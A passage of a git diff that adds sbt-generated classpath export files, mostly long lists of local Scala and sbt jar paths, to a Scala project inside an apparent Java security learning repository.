/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/exportedProducts/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/exportedProducts/_global/streams/export
new file mode 100644
index 00000000..c9499290
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/exportedProducts/_global/streams/export
@@ -0,0 +1 @@
+/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/externalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/externalDependencyClasspath/_global/streams/export
new file mode 100644
index 00000000..840acb78
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/externalDependencyClasspath/_global/streams/export
@@ -0,0 +1 @@
+/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/fullClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/fullClasspath/_global/streams/export
new file mode 100644
index 00000000..7078ef8f
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/fullClasspath/_global/streams/export
@@ -0,0 +1 @@
+/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/internalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/internalDependencyClasspath/_global/streams/export
new file mode 100644
index 00000000..c9499290
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/internalDependencyClasspath/_global/streams/export
@@ -0,0 +1 @@
+/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/internalDependencyClasspath/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/internalDependencyClasspath/_global/streams/out
new file mode 100644
index 00000000..e69de29b
diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/runtime/managedClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/managedClasspath/_global/streams/export
new file mode 100644
index 00000000..840acb78
--- /dev/null
+++ b/JavaSecurity/JDK/Scala1/project/target/streams/runtime/managedClasspath/_global/streams/export
@@ -0,0 +1 @@
